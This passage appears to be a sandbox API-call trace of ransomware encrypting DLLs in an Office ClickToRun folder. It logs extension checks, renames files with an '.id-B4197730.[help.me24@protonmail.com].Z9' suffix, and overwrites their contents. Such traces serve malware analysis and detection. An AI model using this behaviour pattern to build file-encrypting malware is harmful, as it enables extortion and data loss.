	[0085.631] lstrlenW (lpString=".7z") returned 3
	[0085.631] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.631] lstrlenW (lpString=".dbf") returned 4
	[0085.631] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.632] lstrlenW (lpString=".1cd") returned 4
	[0085.632] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0085.632] lstrlenW (lpString=".jpg") returned 4
	[0085.632] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.632] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0085.632] lstrlenW (lpString="AppVIsvStreamingManager.dll") returned 27
	[0085.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.632] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=210648) returned 1
	[0085.632] CloseHandle (hObject=0x378) returned 1
	[0085.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20
	[0085.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0085.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.633] lstrlenW (lpString=".doc") returned 4
	[0085.633] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.633] lstrlenW (lpString=".docx") returned 5
	[0085.633] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0085.633] lstrlenW (lpString=".pdf") returned 4
	[0085.633] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.633] lstrlenW (lpString=".xls") returned 4
	[0085.633] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.633] lstrlenW (lpString=".xlsx") returned 5
	[0085.633] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0085.633] lstrlenW (lpString=".ppt") returned 4
	[0085.633] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.633] lstrlenW (lpString=".zip") returned 4
	[0085.633] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.633] lstrlenW (lpString=".rar") returned 4
	[0085.633] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.633] lstrlenW (lpString=".bz2") returned 4
	[0085.633] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.633] lstrlenW (lpString=".7z") returned 3
	[0085.633] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.633] lstrlenW (lpString=".dbf") returned 4
	[0085.633] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.633] lstrlenW (lpString=".1cd") returned 4
	[0085.633] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.633] lstrlenW (lpString=".jpg") returned 4
	[0085.633] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.634] lstrlenW (lpString=".doc") returned 4
	[0085.634] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.634] lstrlenW (lpString=".docx") returned 5
	[0085.634] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0085.634] lstrlenW (lpString=".pdf") returned 4
	[0085.634] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.634] lstrlenW (lpString=".xls") returned 4
	[0085.634] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.634] lstrlenW (lpString=".xlsx") returned 5
	[0085.634] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0085.634] lstrlenW (lpString=".ppt") returned 4
	[0085.634] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.634] lstrlenW (lpString=".zip") returned 4
	[0085.634] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.634] lstrlenW (lpString=".rar") returned 4
	[0085.634] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.634] lstrlenW (lpString=".bz2") returned 4
	[0085.634] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.634] lstrlenW (lpString=".7z") returned 3
	[0085.634] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.634] lstrlenW (lpString=".dbf") returned 4
	[0085.634] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.634] lstrlenW (lpString=".1cd") returned 4
	[0085.634] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85
	[0085.634] lstrlenW (lpString=".jpg") returned 4
	[0085.634] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.634] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0085.634] lstrlenW (lpString="AppVIsvSubsystemController.dll") returned 30
	[0085.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.635] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1402584) returned 1
	[0085.635] CloseHandle (hObject=0x378) returned 1
	[0085.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20
	[0085.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0085.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.635] lstrlenW (lpString=".doc") returned 4
	[0085.635] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.635] lstrlenW (lpString=".docx") returned 5
	[0085.635] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0085.635] lstrlenW (lpString=".pdf") returned 4
	[0085.635] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.635] lstrlenW (lpString=".xls") returned 4
	[0085.635] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.635] lstrlenW (lpString=".xlsx") returned 5
	[0085.635] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0085.635] lstrlenW (lpString=".ppt") returned 4
	[0085.635] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.636] lstrlenW (lpString=".zip") returned 4
	[0085.636] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.636] lstrlenW (lpString=".rar") returned 4
	[0085.636] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.636] lstrlenW (lpString=".bz2") returned 4
	[0085.636] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.636] lstrlenW (lpString=".7z") returned 3
	[0085.636] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.636] lstrlenW (lpString=".dbf") returned 4
	[0085.636] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.636] lstrlenW (lpString=".1cd") returned 4
	[0085.636] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.636] lstrlenW (lpString=".jpg") returned 4
	[0085.636] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.636] lstrlenW (lpString=".doc") returned 4
	[0085.636] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.636] lstrlenW (lpString=".docx") returned 5
	[0085.636] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0085.636] lstrlenW (lpString=".pdf") returned 4
	[0085.636] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.636] lstrlenW (lpString=".xls") returned 4
	[0085.636] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.636] lstrlenW (lpString=".xlsx") returned 5
	[0085.636] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0085.636] lstrlenW (lpString=".ppt") returned 4
	[0085.636] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.636] lstrlenW (lpString=".zip") returned 4
	[0085.636] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.636] lstrlenW (lpString=".rar") returned 4
	[0085.637] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.637] lstrlenW (lpString=".bz2") returned 4
	[0085.637] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.637] lstrlenW (lpString=".7z") returned 3
	[0085.637] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.637] lstrlenW (lpString=".dbf") returned 4
	[0085.637] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.637] lstrlenW (lpString=".1cd") returned 4
	[0085.637] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88
	[0085.637] lstrlenW (lpString=".jpg") returned 4
	[0085.637] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.637] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0085.637] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23
	[0085.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.637] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1761448) returned 1
	[0085.637] CloseHandle (hObject=0x378) returned 1
	[0085.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20
	[0085.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.638] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0085.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.638] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc64 | out: lpNewFilePointer=0x0) returned 1
	[0085.638] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0085.638] ReadFile (in: hFile=0x378, lpBuffer=0x3c36058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3c36058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0085.641] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0085.641] ReadFile (in: hFile=0x378, lpBuffer=0x3c76058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3c76058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0085.645] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38cfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.645] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0085.645] ReadFile (in: hFile=0x378, lpBuffer=0x3cb6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3cb6058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0085.661] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.661] WriteFile (in: hFile=0x378, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x38cfca8, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfca8*=0xc011a, lpOverlapped=0x0) returned 1
	[0086.110] SetEndOfFile (hFile=0x378) returned 1
	[0086.110] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3e549c0
	[0086.116] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0086.116] WriteFile (in: hFile=0x378, lpBuffer=0x3e549c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e549c0*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0086.118] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0086.118] WriteFile (in: hFile=0x378, lpBuffer=0x3e549c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e549c0*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0086.120] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0086.121] WriteFile (in: hFile=0x378, lpBuffer=0x3e549c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e549c0*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0086.123] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.125] CloseHandle (hObject=0x378) returned 1
	[0087.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0087.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.986] lstrlenW (lpString=".doc") returned 4
	[0087.986] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.986] lstrlenW (lpString=".docx") returned 5
	[0087.986] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0087.986] lstrlenW (lpString=".pdf") returned 4
	[0087.986] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.986] lstrlenW (lpString=".xls") returned 4
	[0087.986] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.986] lstrlenW (lpString=".xlsx") returned 5
	[0087.986] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0087.986] lstrlenW (lpString=".ppt") returned 4
	[0087.986] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.986] lstrlenW (lpString=".zip") returned 4
	[0087.986] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.986] lstrlenW (lpString=".rar") returned 4
	[0087.986] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.986] lstrlenW (lpString=".bz2") returned 4
	[0087.986] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.986] lstrlenW (lpString=".7z") returned 3
	[0087.986] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.986] lstrlenW (lpString=".dbf") returned 4
	[0087.986] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.986] lstrlenW (lpString=".1cd") returned 4
	[0087.987] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.987] lstrlenW (lpString=".jpg") returned 4
	[0087.987] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.987] lstrlenW (lpString=".doc") returned 4
	[0087.987] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.987] lstrlenW (lpString=".docx") returned 5
	[0087.987] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0087.987] lstrlenW (lpString=".pdf") returned 4
	[0087.987] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.987] lstrlenW (lpString=".xls") returned 4
	[0087.987] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.987] lstrlenW (lpString=".xlsx") returned 5
	[0087.987] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0087.987] lstrlenW (lpString=".ppt") returned 4
	[0087.987] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.987] lstrlenW (lpString=".zip") returned 4
	[0087.987] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.987] lstrlenW (lpString=".rar") returned 4
	[0087.987] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.987] lstrlenW (lpString=".bz2") returned 4
	[0087.987] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.987] lstrlenW (lpString=".7z") returned 3
	[0087.987] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.987] lstrlenW (lpString=".dbf") returned 4
	[0087.987] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.987] lstrlenW (lpString=".1cd") returned 4
	[0087.987] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81
	[0087.987] lstrlenW (lpString=".jpg") returned 4
	[0087.988] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.988] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0087.988] lstrlenW (lpString="concrt140.dll") returned 13
	[0087.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.989] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=332968) returned 1
	[0087.989] CloseHandle (hObject=0x378) returned 1
	[0087.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20
	[0087.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0087.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.991] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.991] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.992] GetLastError () returned 0x0
	[0087.992] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x514a8, lpOverlapped=0x0) returned 1
